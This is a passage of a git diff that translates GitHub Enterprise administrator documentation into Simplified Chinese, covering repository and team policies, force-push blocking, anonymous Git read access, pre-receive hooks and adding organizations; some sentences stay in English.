 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository visibility change", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Repository visibility change”下，检查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-visibility-policy %}
 
-## Enforcing a policy for repository deletion and transfer
+## 执行仓库删除和转移的策略
 
-Across all organizations owned by your enterprise, you can allow members with admin permissions to delete or transfer a repository, restrict repository deletion and transfers to organization owners, or allow owners to administer the setting on the organization level.
+在您的企业拥有的所有组织中，您可以允许具有管理员权限的成员删除或转让仓库、将仓库删除和转让限制为组织所有者或允许所有者在组织级别管理设置。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.repositories-tab %}
-5. Under "Repository deletion and transfer", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Repository deletion and transfer”下，检查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
 
 {% data reusables.enterprise-accounts.repository-deletion-policy %}
 
-## Enforcing a policy for deleting issues
+## 执行删除议题的策略
 
-Across all organizations owned by your enterprise, you can allow members with admin access to delete issues in a repository, restrict issue deletion to organization owners, or allow owners to administer the setting on the organization level.
+在您的企业拥有的所有组织中，您可以允许具有管理员权限的成员删除仓库中的议题、将议题删除限制为组织所有者或允许所有者在组织级别管理设置。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. On the **Repository policies** tab, under "Repository issue deletion", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-4. Under "Repository issue deletion", use the drop-down menu and choose a policy.
-  ![Drop-down menu with issue deletion policy options](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
+3. 在 **Repository policies（仓库策略）**选项卡中的“Repository issue deletion（仓库议题删除）”下，审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+4. 在“Repository issue deletion（仓库议题删除）”下，使用下拉菜单并选择策略。 ![带有议题删除策略选项的下拉菜单](/assets/images/help/business-accounts/repository-issue-deletion-policy-drop-down.png)
 
 {% ifversion ghes or ghae %}
 
-## Enforcing a policy for Git push limits
+## 执行 Git 推送限制策略
 
-To keep your repository size manageable and prevent performance issues, you can configure a file size limit for repositories in your enterprise.
+要使仓库大小保持可管理并防止发生性能问题，可以为企业中的仓库配置文件大小限制。
 
-By default, when you enforce repository upload limits, people cannot add or update files larger than 100 MB.
+默认情况下，强制执行仓库上传限制时，无法添加或上传超过 100 MB 的文件。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Repository upload limit", use the drop-down menu and click a maximum object size.
-![Drop-down menu with maximum object size options](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
-5. Optionally, to enforce a maximum upload limit for all repositories in your enterprise, select **Enforce on all repositories**
-![Enforce maximum object size on all repositories option](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
+4. 在“Repository upload limit”下，使用下拉菜单，然后单击最大对象大小。 ![包含最大对象大小选项的下拉菜单](/assets/images/enterprise/site-admin-settings/repo-upload-limit-dropdown.png)
+5. （可选）要对企业中的所有仓库实施最大上传限制，请选择 **Enforce on all repositories（对所有仓库强制执行）** ![对所有仓库选项强制执行最大对象限制](/assets/images/enterprise/site-admin-settings/all-repo-upload-limit-option.png)
 
-## Configuring the merge conflict editor for pull requests between repositories
+## 为仓库之间的拉取请求配置合并冲突编辑器
 
-Requiring users to resolve merge conflicts locally on their computer can prevent people from inadvertently writing to an upstream repository from a fork.
+要求用户在其计算机上本地解决合并冲突可以避免用户因疏忽而从分叉写入到上游仓库。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -210,23 +200,21 @@ Requiring users to resolve merge conflicts locally on their computer can prevent
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-1. Under "Conflict editor for pull requests between repositories", use the drop-down menu, and click **Disabled**.
- ![Drop-down menu with option to disable the merge conflict editor](/assets/images/enterprise/settings/conflict-editor-settings.png)
+1. 在“Conflict editor for pull requests between repositories”下，使用下拉菜单，然后单击 **Disabled**。 ![包含用于禁用合并冲突编辑器的选项的下拉菜单](/assets/images/enterprise/settings/conflict-editor-settings.png)
 
-## Configuring force pushes
+## 配置强制推送
 
-Each repository inherits a default force push setting from the settings of the user account or organization that owns the repository. Each organization and user account inherits a default force push setting from the force push setting for the enterprise. If you change the force push setting for the enterprise, the policy applies to all repositories owned by any user or organization.
+每个仓库从拥有该仓库的用户帐户或组织的设置继承默认强制推送设置。 每个组织和用户帐户都会从企业的强制推送设置继承默认强制推送设置。 如果您更改企业的强制推送设置，此策略适用于任何用户或组织拥有的所有仓库。
 
-### Blocking force pushes to all repositories
+### 阻止强制推送到所有仓库
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Force pushes", use the drop-down menu, and click **Allow**, **Block** or **Block to the default branch**.
-![Force pushes dropdown](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
-5. Optionally, select **Enforce on all repositories**, which will override organization and repository level settings for force pushes.
+4. 在“Force pushes（强制推送）”下，使用下拉菜单，然后单击 **Allow（允许）**、**Block（阻止）**或 **Block to the default branch（阻止到默认分支）**。 ![强制推送下拉菜单](/assets/images/enterprise/site-admin-settings/force-pushes-dropdown.png)
+5. 可以视情况选择 **Enforce on all repositories**，这将覆盖强制推送的组织和仓库级别设置。
 
-### Blocking force pushes to a specific repository
+### 阻止特定仓库的强制推送
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
@@ -236,14 +224,13 @@ Each repository inherits a default force push setting from the settings of the u
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-4. Select **Block** or **Block to the default branch** under **Push and Pull**.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
+4. 在 **Push and Pull（推送和拉取）**下，选择 **Block（阻止）**或 **Block to the default branch（阻止到默认分支）**。 ![阻止强制推送](/assets/images/enterprise/site-admin-settings/repo/repo-block-force-pushes.png)
 
-### Blocking force pushes to repositories owned by a user account or organization
+### 阻止对用户帐户或组织拥有的仓库进行强制推送
 
-Repositories inherit force push settings from the user account or organization to which they belong. User accounts and organizations in turn inherit their force push settings from the force push settings for the enterprise.
+仓库从它们所属的用户帐户或组织继承强制推送设置。 反过来，用户帐户和组织从企业的强制推送设置继承其强制推送设置。
 
-You can override the default inherited settings by configuring the settings for a user account or organization.
+您可以通过配置用户帐户或组织的设置来覆盖默认的继承设置。
 
 {% data reusables.enterprise_site_admin_settings.sign-in %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
@@ -251,32 +238,30 @@ You can override the default inherited settings by configuring the settings for
 {% data reusables.enterprise_site_admin_settings.click-user-or-org %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-5. Under "Repository default settings" in the "Force pushes" section, select
-    - **Block** to block force pushes to all branches.
-    - **Block to the default branch** to only block force pushes to the default branch.
-  ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
-6. Optionally, select **Enforce on all repositories** to override repository-specific settings. Note that this will **not** override an enterprise-wide policy.
-   ![Block force pushes](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
+5. 在“Force pushes”部分的“Repository default settings”下，选择
+    - **Block** 来阻止对所有分支进行强制推送。
+    - **Block to the default branch** 来仅阻止对默认分支进行强制推送。 ![阻止强制推送](/assets/images/enterprise/site-admin-settings/user/user-block-force-pushes.png)
+6. 可以视情况选择 **Enforce on all repositories** 来覆盖仓库特定的设置。 注意，这**不**会覆盖企业范围的策略。 ![阻止强制推送](/assets/images/enterprise/site-admin-settings/user/user-block-all-force-pushes.png)
 
 {% endif %}
 
 {% ifversion ghes %}
 
-## Configuring anonymous Git read access
+## 配置匿名 Git 读取访问
 
 {% data reusables.enterprise_user_management.disclaimer-for-git-read-access %}
 
-{% ifversion ghes %}If you have [enabled private mode](/enterprise/admin/configuration/enabling-private-mode) on your enterprise, you {% else %}You {% endif %}can allow repository administrators to enable anonymous Git read access to public repositories.
+{% ifversion ghes %}如果您已经在企业上[启用私密模式](/enterprise/admin/configuration/enabling-private-mode)，{% else %}您{% endif %}可以允许仓库管理员启用对公共仓库的匿名 Git 读取访问。
 
-Enabling anonymous Git read access allows users to bypass authentication for custom tools on your enterprise. When you or a repository administrator enable this access setting for a repository, unauthenticated Git operations (and anyone with network access to {% data variables.product.product_name %}) will have read access to the repository without authentication.
+启用匿名 Git 读取允许用户在企业上为自定义工具绕过身份验证。 当您或仓库管理员为仓库启用此权限设置时，未经过身份验证的 Git 操作（和具有 {% data variables.product.product_name %} 的网络访问权限的任何人）将获得仓库的读取权限（无需身份验证）。
 
-If necessary, you can prevent repository administrators from changing anonymous Git access settings for repositories on your enterprise by locking the repository's access settings. After you lock a repository's Git read access setting, only a site administrator can change the setting.
+如有必要，您可以通过锁定仓库的访问设置，阻止仓库管理员更改企业上仓库的匿名 Git 访问设置。 在您锁定仓库的 Git 读取权限设置后，只有站点管理员可以更改设置。
 
 {% data reusables.enterprise_site_admin_settings.list-of-repos-with-anonymous-git-read-access-enabled %}
 
 {% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %}
 
-### Setting anonymous Git read access for all repositories
+### 设置所有仓库的匿名 Git 读取访问
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -285,23 +270,18 @@ If necessary, you can prevent repository administrators from changing anonymous
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Anonymous Git read access", use the drop-down menu, and click **Enabled**.
-![Anonymous Git read access drop-down menu showing menu options "Enabled" and "Disabled"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
-3. Optionally, to prevent repository admins from changing anonymous Git read access settings in all repositories on your enterprise, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access settings for all repositories on your enterprise](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
+4. 在“Anonymous Git read access”下，使用下列菜单并单击 **Enabled**。 ![匿名 Git 读取权限下拉菜单显示菜单选项"Enabled（已启用）"和"Disabled（已禁用）"](/assets/images/enterprise/site-admin-settings/enable-anonymous-git-read-access.png)
+3. 或者，如果要阻止仓库管理员为企业上的所有仓库更改匿名 Git 读取权限设置，请选择 **Prevent repository admins from changing anonymous Git read access**。 ![选中复选框可阻止仓库管理员更改企业上所有仓库的匿名 Git 读取权限设置。](/assets/images/enterprise/site-admin-settings/globally-lock-repos-from-changing-anonymous-git-read-access.png)
 
-### Setting anonymous Git read access for a specific repository
+### 设置特定仓库的匿名 Git 读取访问
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.repository-search %}
 {% data reusables.enterprise_site_admin_settings.click-repo %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-6. Under "Danger Zone", next to "Enable Anonymous Git read access", click **Enable**.
-!["Enabled" button under "Enable anonymous Git read access" in danger zone of a repository's site admin settings ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
-7. Review the changes. To confirm, click **Yes, enable anonymous Git read access.**
-![Confirm anonymous Git read access setting in pop-up window](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
-8. Optionally, to prevent repository admins from changing this setting for this repository, select **Prevent repository admins from changing anonymous Git read access**.
-![Select checkbox to prevent repository admins from changing anonymous Git read access for this repository](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
+6. 在“Danger Zone”下的“Enable Anonymous Git read access”旁，请单击 **Enable**。 ![仓库站点管理员设置的危险区域中“Enable anonymous Git read access”下的“Enabled”按钮 ](/assets/images/enterprise/site-admin-settings/site-admin-enable-anonymous-git-read-access.png)
+7. 审查更改。 要确认，请单击 **Yes, enable anonymous Git read access（是，启用匿名 Git 读取权限）**。 ![在弹出窗口中确认匿名 Git 读取权限设置](/assets/images/enterprise/site-admin-settings/confirm-anonymous-git-read-access-for-specific-repo-as-site-admin.png)
+8. 或者，如果要阻止仓库管理员为此仓库更改设置，请选择 **Prevent repository admins from changing anonymous Git read access**。 ![选中复选框可阻止仓库管理员更改此仓库的匿名 Git 读取权限。](/assets/images/enterprise/site-admin-settings/lock_anonymous_git_access_for_specific_repo.png)
 
 {% endif %}
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
index 14860a36f6..02a4cf4700 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enforcing team policies in your enterprise
 intro: 'You can enforce policies for teams in your enterprise''s organizations, or allow policies to be set in each organization.'
 permissions: Enterprise owners can enforce policies for teams in an enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /articles/enforcing-team-settings-for-organizations-in-your-business-account
   - /articles/enforcing-team-policies-for-organizations-in-your-enterprise-account
@@ -24,16 +23,14 @@ shortTitle: Team policies
 
 ## About policies for teams in your enterprise
 
-You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage teams. You can also allow organization owners to manage policies for teams. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can enforce policies to control how members of your enterprise on {% data variables.product.product_name %} manage teams. You can also allow organization owners to manage policies for teams. 更多信息请参阅“[关于团队](/organizations/organizing-members-into-teams/about-teams)”。
 
-## Enforcing a policy for team discussions
+## 执行团队讨论策略
 
-Across all organizations owned by your enterprise, you can enable or disable team discussions, or allow owners to administer the setting on the organization level. For more information, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)."
+Across all organizations owned by your enterprise, you can enable or disable team discussions, or allow owners to administer the setting on the organization level. 更多信息请参阅“[关于团队讨论](/organizations/collaborating-with-your-team/about-team-discussions/)”。
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.policies-tab %}
-3. In the left sidebar, click **Teams**.
-  ![Teams tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-teams-tab.png)
-4. Under "Team discussions", review the information about changing the setting. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "Team discussions", use the drop-down menu and choose a policy.
-  ![Drop-down menu with team discussion policy options](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
+3. 在左侧边栏中，单击 **Teams（团队）**。 ![Teams tab in the enterprise sidebar](/assets/images/help/business-accounts/settings-teams-tab.png)
+4. 在“Team discussions”（团队讨论）下，审查有关更改设置的信息。 {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
+5. 在“Team discussions”（团队讨论）下，使用下拉菜单并选择策略。 ![带有团队讨论策略按钮的下拉菜单](/assets/images/help/business-accounts/team-discussion-policy-drop-down.png)
diff --git a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
index 1a2e868839..82fddd7944 100644
--- a/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
+++ b/translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
@@ -1,6 +1,6 @@
 ---
-title: Managing pre-receive hooks on the GitHub Enterprise Server appliance
-intro: 'Configure how people will use pre-receive hooks within their {% data variables.product.prodname_ghe_server %} appliance.'
+title: 管理 GitHub Enterprise Server 设备上的预接收挂钩
+intro: '配置如何在 {% data variables.product.prodname_ghe_server %} 设备中使用预接收挂钩。'
 redirect_from:
   - /enterprise/admin/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
   - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance
@@ -13,64 +13,51 @@ topics:
   - Enterprise
   - Policies
   - Pre-receive hooks
-shortTitle: Manage pre-receive hooks
+shortTitle: 管理预接收挂钩
 ---
-## Creating pre-receive hooks
+
+## 创建预接收挂钩
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-4. Click **Add pre-receive hook**.
-![Add pre-receive hook](/assets/images/enterprise/site-admin-settings/add-pre-receive-hook.png)
-5. In the **Hook name** field, enter the name of the hook that you want to create.
-![Name pre-receive hook](/assets/images/enterprise/site-admin-settings/hook-name.png)
-6. From the **Environment** drop-down menu, select the environment on which you want the hook to run.
-![Hook environment](/assets/images/enterprise/site-admin-settings/environment.png)
-7. Under **Script**, from the **Select hook repository** drop-down menu, select the repository that contains your pre-receive hook script. From the **Select file** drop-down menu, select the filename of the pre-receive hook script.
-![Hook script](/assets/images/enterprise/site-admin-settings/hook-script.png)
-8. Select **Use the exit-status to accept or reject pushes** to enforce your script. Unselecting this option allows you to test the script while the exit-status value is ignored. In this mode, the output of the script will be visible to the user in the command-line but not on the web interface.
-![Use exit-status](/assets/images/enterprise/site-admin-settings/use-exit-status.png)
-9. Select **Enable this pre-receive hook on all repositories by default** if you want the pre-receive hook to run on all repositories.
-![Enable hook all repositories](/assets/images/enterprise/site-admin-settings/enable-hook-all-repos.png)
-10. Select **Administrators can enable and disable this hook** to allow organization members with admin or owner permissions to select whether they wish to enable or disable this pre-receive hook.
-![Admins enable or disable hook](/assets/images/enterprise/site-admin-settings/admins-enable-hook.png)
+4. 单击 **Add pre-receive hook**。 ![添加预接收挂钩](/assets/images/enterprise/site-admin-settings/add-pre-receive-hook.png)
+5. 在 **Hook name** 字段中，输入要创建的挂钩的名称。 ![为预接收挂钩命名](/assets/images/enterprise/site-admin-settings/hook-name.png)
+6. 从 **Environment** 下拉菜单中，选择要在其上运行挂钩的环境。 ![挂钩环境](/assets/images/enterprise/site-admin-settings/environment.png)
+7. 在 **Script（脚本）**下，从 **Select hook repository（选择挂钩仓库）**下拉菜单中，选择包含预接收挂钩脚本的仓库。 从 **Select file** 下拉菜单中，选择预接收挂钩脚本的文件名。 ![挂钩脚本](/assets/images/enterprise/site-admin-settings/hook-script.png)
+8. 选择 **Use the exit-status to accept or reject pushes** 以强制执行脚本。 取消选中此选项可以在忽略 exit-status 值时测试脚本。 在此模式下，脚本的输出将在命令行中对用户可见，但在 web 界面上不可见。 ![使用 exit-status](/assets/images/enterprise/site-admin-settings/use-exit-status.png)
+9. 如果希望预接收挂钩在所有仓库上运行，请选择 **Enable this pre-receive hook on all repositories by default**。 ![为所有仓库启用挂钩](/assets/images/enterprise/site-admin-settings/enable-hook-all-repos.png)
+10. 选择 **Administrators can enable and disable this hook（管理员可以启用和禁用此挂钩）**，以允许具有管理员或所有者权限的组织成员选择要启用还是禁用此预接收挂钩。 ![管理员启用或禁用挂钩](/assets/images/enterprise/site-admin-settings/admins-enable-hook.png)
 
-## Editing pre-receive hooks
+## 编辑预接收挂钩
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-1. Next to the pre-receive hook that you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
-![Edit pre-receive](/assets/images/enterprise/site-admin-settings/edit-pre-receive-hook.png)
+1. 在要编辑的预接收挂钩旁边，单击 {% octicon "pencil" aria-label="The edit icon" %}。 ![编辑预接收挂钩](/assets/images/enterprise/site-admin-settings/edit-pre-receive-hook.png)
 
-## Deleting pre-receive hooks
+## 删除预接收挂钩
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-2. Next to the pre-receive hook that you want to delete, click {% octicon "x" aria-label="X symbol" %}.
-![Edit pre-receive](/assets/images/enterprise/site-admin-settings/delete-pre-receive-hook.png)
+2. 在要删除的预接收挂钩旁边，单击 {% octicon "x" aria-label="X symbol" %}。 ![编辑预接收挂钩](/assets/images/enterprise/site-admin-settings/delete-pre-receive-hook.png)
 
-## Configure pre-receive hooks for an organization
+## 为组织配置预接收挂钩
 
-An organization administrator can only configure hook permissions for an organization if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. To configure pre-receive hooks for a repository, you must be an organization administrator or owner.
+仅当站点管理员在创建预接收挂钩时选择了 **Administrators can enable or disable this hook** 选项，组织管理员才能为组织配置挂钩权限。 要为仓库配置预接收挂钩，您必须是组织管理员或所有者。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. In the left sidebar, click **Hooks**.
-![Hooks sidebar](/assets/images/enterprise/orgs-and-teams/hooks-sidebar.png)
-5. Next to the pre-receive hook that you want to configure, click the **Hook permissions** drop-down menu. Select whether to enable or disable the pre-receive hook, or allow it to be configured by the repository administrators.
-![Hook permissions](/assets/images/enterprise/orgs-and-teams/hook-permissions.png)
+4. 在左侧侧边栏中，单击 **Hooks**。 ![挂钩侧边栏](/assets/images/enterprise/orgs-and-teams/hooks-sidebar.png)
+5. 在要配置的预接收挂钩旁边，单击 **Hook permissions** 下拉菜单。 选择要启用还是禁用预接收挂钩，或者允许仓库管理员对其进行配置。 ![挂钩权限](/assets/images/enterprise/orgs-and-teams/hook-permissions.png)
 
-## Configure pre-receive hooks for a repository
+## 为仓库配置预接收挂钩
 
-A repository owner can only configure a hook if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. In an organization, the organization owner must also have selected the **Configurable** hook permission. To configure pre-receive hooks for a repository, you must be a repository owner.
+仅当站点管理员在创建预接收挂钩时选择了 **Administrators can enable or disable this hook** 选项，仓库所有者才能配置挂钩。 在组织中，组织所​​有者还必须选择 **Configurable** 挂钩权限。 要为仓库配置预接收挂钩，您必须是仓库所有者。
 
 {% data reusables.profile.enterprise_access_profile %}
-2. Click **Repositories** and select which repository you want to configure pre-receive hooks for.
-![Repositories](/assets/images/enterprise/repos/repositories.png)
+2. 单击 **Repositories**，然后选择要为其配置预接收挂钩的仓库。 ![仓库](/assets/images/enterprise/repos/repositories.png)
 {% data reusables.repositories.sidebar-settings %}
-4. In the left sidebar, click **Hooks & Services**.
-![Hooks and services](/assets/images/enterprise/repos/hooks-services.png)
-5. Next to the pre-receive hook that you want to configure, click the **Hook permissions** drop-down menu. Select whether to enable or disable the pre-receive hook.
-![Repository hook permissions](/assets/images/enterprise/repos/repo-hook-permissions.png)
+4. 在左侧边栏中，单击 **Hooks & Services**。 ![挂钩和服务](/assets/images/enterprise/repos/hooks-services.png)
+5. 在要配置的预接收挂钩旁边，单击 **Hook permissions** 下拉菜单。 选择要启用还是禁用预接收挂钩。 ![仓库挂钩权限](/assets/images/enterprise/repos/repo-hook-permissions.png)
diff --git a/translations/zh-CN/content/admin/user-management/index.md b/translations/zh-CN/content/admin/user-management/index.md
index 5e5f8682b2..8546570a0f 100644
--- a/translations/zh-CN/content/admin/user-management/index.md
+++ b/translations/zh-CN/content/admin/user-management/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Managing users, organizations, and repositories'
-shortTitle: 'Managing users, organizations, and repositories'
-intro: 'This guide describes authentication methods for users signing in to your enterprise, how to create organizations and teams for repository access and collaboration, and suggested best practices for user security.'
+title: 管理用户、组织和仓库
+shortTitle: 管理用户、组织和仓库
+intro: 本指南介绍了可让用户登录您的企业的身份验证方法、如何创建组织和团队以进行仓库访问和协作，并针对用户安全提供了最佳实践建议。
 redirect_from:
   - /enterprise/admin/categories/user-management
   - /enterprise/admin/developer-workflow/using-webhooks-for-continuous-integration
diff --git a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
index 8e5c3ea588..c5717a4767 100644
--- a/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
+++ b/translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Adding organizations to your enterprise
 intro: You can create new organizations or invite existing organizations to manage within your enterprise.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/adding-organizations-to-your-enterprise-account
   - /articles/adding-organizations-to-your-enterprise-account
@@ -14,46 +13,38 @@ topics:
   - Administrator
   - Enterprise
   - Organizations
-shortTitle: Add organizations
+shortTitle: 添加组织
 ---
 
-## About organizations
+## 关于组织
 
-Your enterprise account can own organizations. Members of your enterprise can collaborate across related projects within an organization. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+Your enterprise account can own organizations. Members of your enterprise can collaborate across related projects within an organization. 更多信息请参阅“[关于组织](/organizations/collaborating-with-groups-in-organizations/about-organizations)”。
 
 Enterprise owners can create new organizations within an enterprise account's settings or invite existing organizations to join an enterprise. To add an organization to your enterprise, you must create the organization from within the enterprise account settings.
 
 You can only add organizations this way to an existing enterprise account. {% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
-## Creating an organization in your enterprise account
+## 在企业帐户中创建组织
 
-New organizations you create within your enterprise account settings are included in your enterprise account's {% data variables.product.prodname_ghe_cloud %} subscription.
+在企业帐户设置中创建的新组织包含在企业帐户的 {% data variables.product.prodname_ghe_cloud %} 订阅中。
 
-Enterprise owners who create an organization owned by the enterprise account automatically become organization owners. For more information about organization owners, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+创建企业帐户所拥有的组织的企业所有者自动成为组织所有者。 For more information about organization owners, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. On the **Organizations** tab, above the list of organizations, click **New organization**.
-  ![New organization button](/assets/images/help/business-accounts/enterprise-account-add-org.png)
-3. Under "Organization name", type a name for your organization.
-  ![Field to type a new organization name](/assets/images/help/business-accounts/new-organization-name-field.png)
-4. Click **Create organization**.
-5. Under "Invite owners", type the username of a person you'd like to invite to become an organization owner, then click **Invite**.
-  ![Organization owner search field and Invite button](/assets/images/help/business-accounts/invite-org-owner.png)
-6. Click **Finish**.
+2. 在 **Organizations（组织）**选项卡中的组织列表上方，单击 **New organization（新组织）**。 ![新组织按钮](/assets/images/help/business-accounts/enterprise-account-add-org.png)
+3. 在 "Organization name"（组织名称）下，输入组织的名称。 ![用于输入新组织名称的字段](/assets/images/help/business-accounts/new-organization-name-field.png)
+4. 单击 **Create organization（创建组织）**。
+5. 在 "Invite owners"（邀请所有者）下，输入您想邀其成为组织所有者的人员的用户名，然后单击 **Invite（邀请）**。 ![组织所有者搜索字段和邀请按钮](/assets/images/help/business-accounts/invite-org-owner.png)
+6. 单击 **Finish（完成）**。
 
-## Inviting an organization to join your enterprise account
+## 邀请组织加入您的企业帐户
 
-Enterprise owners can invite existing organizations to join their enterprise account. If the organization you want to invite is already owned by another enterprise, you will not be able to issue an invitation until the previous enterprise gives up ownership of the organization. For more information, see "[Removing an organization from your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)."
+企业所有者可以邀请现有组织加入其企业帐户。 如果您要邀请的组织已经归其他企业所有，则在上一个企业放弃对组织的所有权之前，您将无法发出邀请。 For more information, see "[Removing an organization from your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)."
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. On the **Organizations** tab, above the list of organizations, click **Invite organization**.
-![Invite organization](/assets/images/help/business-accounts/enterprise-account-invite-organization.png)
-3. Under "Organization name", start typing the name of the organization you want to invite and select it when it appears in the drop-down list.
-![Search for organization](/assets/images/help/business-accounts/enterprise-account-search-for-organization.png)
-4. Click **Invite organization**.
-5. The organization owners will receive an email inviting them to join the organization. At least one owner needs to accept the invitation before the process can continue. You can cancel or resend the invitation at any time before an owner approves it.
-![Cancel or resend](/assets/images/help/business-accounts/enterprise-account-invitation-sent.png)
-6. Once an organization owner has approved the invitation, you can view its status in the list of pending invitations.
-![Pending invitation](/assets/images/help/business-accounts/enterprise-account-pending.png)
-7. Click **Approve** to complete the transfer, or **Cancel** to cancel it.
-![Approve invitation](/assets/images/help/business-accounts/enterprise-account-transfer-approve.png)
